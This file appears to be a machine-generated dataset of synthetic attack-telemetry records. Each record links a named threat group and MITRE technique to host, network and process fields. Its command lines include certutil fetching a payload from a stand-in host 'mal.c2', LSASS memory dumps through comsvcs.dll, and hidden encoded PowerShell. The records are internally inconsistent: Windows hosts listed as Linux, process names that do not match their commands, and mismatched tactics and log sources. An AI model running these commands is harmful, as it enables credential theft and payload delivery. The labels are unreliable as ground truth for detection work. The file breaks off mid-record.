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Elite_quality_cybersecurity

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{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1003.001 using fileless technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Collection","Impact","Command and Control"],"technique_id":"T1003.001"},"event_id":"evt_mustangpanda_20250721T214214000Z_0004001","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["TLS","Base64","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.220.140.96","name":"WIN-FIN-SRV-6WG1K4R2FO","os":"Amazon Linux 2"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4001Mustang PandaT1003.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.91.208.224","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"certutil.exe","parent_name":"services.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-07-06T15:47:57.000Z","user":{"name":"svc_kghnuow0w27i","sid":"S-1-5-21-327504411-278916142-1943"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1059.001 using encrypted C2 technique.","sub_technique":"PowerShell","tactic":["Exfiltration","Initial Access","Reconnaissance"],"technique_id":"T1059.001"},"event_id":"evt_lapsus_20250811T080625000Z_0004003","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["Fileless","WMI","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.19.254.130","name":"IAM-ROLE-7QLZ0AFXBB","os":"Windows Server 2022"},"impact":{"business_risk":"Domain dominance","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4003Lapsus$T1059.001"},"network":{"domain":"github.com","dst_ip":"1.21.117.56","dst_port":443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3294 C:\\temp\\lsass.dmp full","name":"mshta.exe","parent_name":"explorer.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-11-10T15:46:20.000Z","user":{"name":"i-9qi4qnukhk7m","sid":"S-1-5-21-846947855-859998128-8580"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1098.004 using cloud-native technique.","sub_technique":"SSH Authorized Keys","tactic":["Persistence","Discovery"],"technique_id":"T1098.004"},"event_id":"evt_apt29_20261031T020205000Z_0004005","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["LOLBin","Fileless","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.148.30.169","name":"EC2-INST-CQ2HXRQEDF","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4005APT29T1098.004"},"network":{"domain":"cdn-content.com","dst_ip":"1.103.86.131","dst_port":3389,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"rundll32.exe","parent_name":"services.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-11-05T17:13:36.000Z","user":{"name":"CORP\\8rlfxpgv1rmc","sid":"S-1-5-21-676025170-578544268-7102"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1484.001 using fileless technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Defense Evasion"],"technique_id":"T1484.001"},"event_id":"evt_fin7_20250125T010734000Z_0004007","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","Base64","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.198.191.79","name":"IAM-ROLE-KRGWP8TH1F","os":"Windows 11"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4007FIN7T1484.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.63.13.221","dst_port":3389,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2421 C:\\temp\\lsass.dmp full","name":"cmstp.exe","parent_name":"winlogon.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-08-26T23:16:22.000Z","user":{"name":"svc_qod89knof3by","sid":"S-1-5-21-960567248-224933617-4646"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1566.001 using encrypted C2 technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Impact","Persistence","Exfiltration"],"technique_id":"T1566.001"},"event_id":"evt_apt41_20260810T225820000Z_0004009","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["TLS","JA3 Spoof","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.184.137.200","name":"AZURE-VM-O4AEQUSHU3","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4009APT41T1566.001"},"network":{"domain":"github.com","dst_ip":"1.1.208.208","dst_port":445,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1642 C:\\temp\\lsass.dmp full","name":"powershell.exe","parent_name":"services.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-08-31T03:25:39.000Z","user":{"name":"CORP\\3vq2o9qee2dr","sid":"S-1-5-21-415574942-184463808-2914"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1570 using cloud-native technique.","sub_technique":"Lateral Tool Transfer","tactic":["Discovery","Collection"],"technique_id":"T1570"},"event_id":"evt_unc4841_20260330T014815000Z_0004011","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","WMI","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.101.57.215","name":"WIN-FIN-SRV-7A2PW1OTTE","os":"Ubuntu 22.04"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4011UNC4841T1570"},"network":{"domain":"cdn-content.com","dst_ip":"1.191.34.208","dst_port":3389,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"bitsadmin.exe","parent_name":"winlogon.exe"},"source":"Windows Security Log","timestamp":"2025-05-06T08:57:03.000Z","user":{"name":"CORP\\f2oo0zyoo3pk","sid":"S-1-5-21-583544999-798235936-6040"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1098.004 using LOLBin technique.","sub_technique":"SSH Authorized Keys","tactic":["Defense Evasion"],"technique_id":"T1098.004"},"event_id":"evt_volttyphoon_20260201T094328000Z_0004013","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["Base64","Fileless","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.45.225.88","name":"APP-WEB-07V5OM6ZSB","os":"Ubuntu 22.04"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4013Volt TyphoonT1098.004"},"network":{"domain":"cdn-content.com","dst_ip":"1.175.146.22","dst_port":3389,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"mshta.exe","parent_name":"explorer.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-12-03T01:02:10.000Z","user":{"name":"arn:aws:iam::gbwqd0r6etj9","sid":"S-1-5-21-754924328-347313545-8119"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1531 using encrypted C2 technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Reconnaissance"],"technique_id":"T1531"},"event_id":"evt_unc4841_20250517T174246000Z_0004015","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["WMI","Fileless","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.99.211.41","name":"AZURE-VM-8MYV00ECQV","os":"Windows Server 2022"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4015UNC4841T1531"},"network":{"domain":"aws.amazon.com","dst_ip":"1.127.238.246","dst_port":445,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"cmstp.exe","parent_name":"services.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-09-16T05:03:48.000Z","user":{"name":"azuread\\3qwtfatwn6e0","sid":"S-1-5-21-465352503-601758819-3037"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1546.003 using LOLBin technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Initial Access","Exfiltration"],"technique_id":"T1546.003"},"event_id":"evt_fin7_20260822T065425000Z_0004017","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["WMI","Fileless","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.146.26.18","name":"APP-WEB-IWS8VQMBI8","os":"Ubuntu 22.04"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4017FIN7T1546.003"},"network":{"domain":"cdn-content.com","dst_ip":"1.11.139.254","dst_port":3389,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"wmic.exe","parent_name":"svchost.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-02-06T12:15:59.000Z","user":{"name":"CORP\\bv3i5yt5rrcu","sid":"S-1-5-21-468294831-514257458-1745"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1566.001 using cloud-native technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Impact","Collection","Persistence"],"technique_id":"T1566.001"},"event_id":"evt_unc4841_20260721T045203000Z_0004019","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["LOLBin","Base64","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.238.149.3","name":"DB-ORACLE-5C24U91KAT","os":"Windows Server 2022"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4019UNC4841T1566.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.72.158.217","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"certutil.exe","parent_name":"explorer.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-04-08T02:44:05.000Z","user":{"name":"azuread\\q2yycf0wd7yv","sid":"S-1-5-21-966020869-445475202-4222"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1484.001 using fileless technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Lateral Movement","Impact","Defense Evasion"],"technique_id":"T1484.001"},"event_id":"evt_mustangpanda_20260304T165008000Z_0004021","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["WMI","TLS","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.242.191.19","name":"APP-WEB-FL9F51QV99","os":"Windows Server 2022"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4021Mustang PandaT1484.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.142.224.10","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"cmstp.exe","parent_name":"services.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-09-06T05:02:46.000Z","user":{"name":"svc_pa3f7zem9erc","sid":"S-1-5-21-490991192-454340050-6378"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1570 using LOLBin technique.","sub_technique":"Lateral Tool Transfer","tactic":["Discovery"],"technique_id":"T1570"},"event_id":"evt_scatteredspider_20261027T155009000Z_0004023","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["LOLBin","TLS","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.121.155.115","name":"WIN-FIN-SRV-89EKYMNOZM","os":"Windows 11"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4023Scattered SpiderT1570"},"network":{"domain":"cdn-content.com","dst_ip":"1.75.105.87","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"mshta.exe","parent_name":"explorer.exe"},"source":"Windows Security Log","timestamp":"2026-12-19T19:12:48.000Z","user":{"name":"arn:aws:iam::7qf3pyt5h5l8","sid":"S-1-5-21-503299054-409200807-8492"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1531 using fileless technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Command and Control","Credential Access"],"technique_id":"T1531"},"event_id":"evt_fin7_20251121T132832000Z_0004025","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["Fileless","LOLBin","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.226.136.18","name":"APP-WEB-NY2FBDYH8I","os":"Windows 11"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4025FIN7T1531"},"network":{"domain":"aws.amazon.com","dst_ip":"1.136.58.174","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 886 C:\\temp\\lsass.dmp full","name":"wmic.exe","parent_name":"winlogon.exe"},"source":"Windows Security Log","timestamp":"2025-05-29T14:39:32.000Z","user":{"name":"CORP\\dwhonjs4fykl","sid":"S-1-5-21-838383672-971263443-6838"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1484.001 using encrypted C2 technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Defense Evasion","Credential Access"],"technique_id":"T1484.001"},"event_id":"evt_apt41_20250916T151609000Z_0004027","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["Base64","TLS","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.239.20.39","name":"APP-WEB-W5V6Q2FCUZ","os":"Ubuntu 22.04"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4027APT41T1484.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.34.200.39","dst_port":5985,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1115 C:\\temp\\lsass.dmp full","name":"wmic.exe","parent_name":"svchost.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-10-23T09:00:59.000Z","user":{"name":"CORP\\uce0e8wiq3d7","sid":"S-1-5-21-879478107-693642978-4652"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1484.001 using LOLBin technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Execution","Collection"],"technique_id":"T1484.001"},"event_id":"evt_apt41_20260529T091600000Z_0004029","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","TLS","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.195.238.38","name":"DB-ORACLE-PEWVTXU0VH","os":"Amazon Linux 2"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4029APT41T1484.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.84.183.66","dst_port":5985,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"certutil.exe","parent_name":"explorer.exe"},"source":"Windows Security Log","timestamp":"2025-06-21T03:28:24.000Z","user":{"name":"i-ptcddj9sgd91","sid":"S-1-5-21-846419658-219514932-7688"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1059.001 using encrypted C2 technique.","sub_technique":"PowerShell","tactic":["Discovery","Command and Control"],"technique_id":"T1059.001"},"event_id":"evt_fin7_20250402T084013000Z_0004031","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["LOLBin","JA3 Spoof","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.211.166.126","name":"WIN-FIN-SRV-0FUQJ58JSM","os":"Amazon Linux 2"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4031FIN7T1059.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.103.232.150","dst_port":3389,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1639 C:\\temp\\lsass.dmp full","name":"bitsadmin.exe","parent_name":"winlogon.exe"},"source":"Network Connection (DS0029)","timestamp":"2026-05-05T18:17:25.000Z","user":{"name":"svc_4akoivl9k2w5","sid":"S-1-5-21-749022276-787093667-7221"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1021.006 using fileless technique.","sub_technique":"Windows Remote Management","tactic":["Reconnaissance"],"technique_id":"T1021.006"},"event_id":"evt_volttyphoon_20250115T044221000Z_0004033","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","LOLBin","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.151.185.221","name":"APP-WEB-EFQRR6OETA","os":"Windows 11"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4033Volt TyphoonT1021.006"},"network":{"domain":"cdn-content.com","dst_ip":"1.153.209.56","dst_port":3389,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"rundll32.exe","parent_name":"winlogon.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-09-25T16:32:19.000Z","user":{"name":"svc_9xqcd2v57sr9","sid":"S-1-5-21-599066166-304953962-2600"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1546.003 using encrypted C2 technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Initial Access"],"technique_id":"T1546.003"},"event_id":"evt_apt41_20250805T135637000Z_0004035","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["TLS","WMI","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.41.244.110","name":"APP-WEB-17WX9AOSV2","os":"Amazon Linux 2"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4035APT41T1546.003"},"network":{"domain":"github.com","dst_ip":"1.78.80.244","dst_port":443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"cmstp.exe","parent_name":"winlogon.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-07-22T19:20:05.000Z","user":{"name":"CORP\\swaysj3mh0di","sid":"S-1-5-21-649446758-638614516-6407"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1484.001 using fileless technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Execution","Command and Control"],"technique_id":"T1484.001"},"event_id":"evt_scatteredspider_20260315T125643000Z_0004037","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["TLS","WMI","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.74.185.211","name":"IAM-ROLE-L7523YLPHQ","os":"Windows Server 2022"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4037Scattered SpiderT1484.001"},"network":{"domain":"github.com","dst_ip":"1.96.63.73","dst_port":3389,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1530 C:\\temp\\lsass.dmp full","name":"bitsadmin.exe","parent_name":"explorer.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-12-23T01:21:23.000Z","user":{"name":"azuread\\vuoee87mnpg7","sid":"S-1-5-21-101169819-287790099-8336"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1071.001 using LOLBin technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Execution","Discovery","Command and Control"],"technique_id":"T1071.001"},"event_id":"evt_fin7_20250519T130525000Z_0004039","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["TLS","JA3 Spoof","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.204.67.141","name":"WIN-FIN-SRV-CMMOX746GD","os":"Windows 11"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4039FIN7T1071.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.158.57.17","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3258 C:\\temp\\lsass.dmp full","name":"rundll32.exe","parent_name":"services.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-11-26T08:03:12.000Z","user":{"name":"CORP\\k4t6th9i3co7","sid":"S-1-5-21-803164833-835355824-5711"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1570 using cloud-native technique.","sub_technique":"Lateral Tool Transfer","tactic":["Privilege Escalation","Lateral Movement","Persistence"],"technique_id":"T1570"},"event_id":"evt_lapsus_20260209T082026000Z_0004041","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["Base64","WMI","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.49.243.89","name":"APP-WEB-RKH7EJP4PJ","os":"Ubuntu 22.04"},"impact":{"business_risk":"Cloud environment takeover","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4041Lapsus$T1570"},"network":{"domain":"cdn-content.com","dst_ip":"1.98.41.64","dst_port":443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"cmstp.exe","parent_name":"explorer.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-10-26T13:48:56.000Z","user":{"name":"svc_3twb8eoz323k","sid":"S-1-5-21-951211239-609615098-1619"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1003.001 using cloud-native technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Credential Access"],"technique_id":"T1003.001"},"event_id":"evt_unc4841_20260922T032044000Z_0004043","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["TLS","Base64","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.116.58.44","name":"EC2-INST-LLA2KS8XZ8","os":"Amazon Linux 2"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4043UNC4841T1003.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.122.212.234","dst_port":443,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 558 C:\\temp\\lsass.dmp full","name":"bitsadmin.exe","parent_name":"winlogon.exe"},"source":"Windows Security Log","timestamp":"2026-09-08T22:28:29.000Z","user":{"name":"CORP\\35mnfoam6inj","sid":"S-1-5-21-851277447-537346712-9160"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1570 using cloud-native technique.","sub_technique":"Lateral Tool Transfer","tactic":["Initial Access","Discovery","Defense Evasion"],"technique_id":"T1570"},"event_id":"evt_unc4841_20260528T173126000Z_0004045","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["Base64","Fileless","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.217.99.231","name":"EC2-INST-OLKFI2JB2X","os":"Windows Server 2022"},"impact":{"business_risk":"Cloud environment takeover","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4045UNC4841T1570"},"network":{"domain":"aws.amazon.com","dst_ip":"1.45.198.10","dst_port":5985,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"wmic.exe","parent_name":"services.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-02-02T22:16:37.000Z","user":{"name":"arn:aws:iam::s70btj6jodiu","sid":"S-1-5-21-768914687-262866944-4098"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1071.001 using encrypted C2 technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Command and Control","Initial Access"],"technique_id":"T1071.001"},"event_id":"evt_mustangpanda_20250814T220353000Z_0004047","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["LOLBin","Fileless","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.137.223.4","name":"APP-WEB-MVVHEQCQBU","os":"Ubuntu 22.04"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4047Mustang PandaT1071.001"},"network":{"domain":"github.com","dst_ip":"1.55.250.176","dst_port":3389,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin 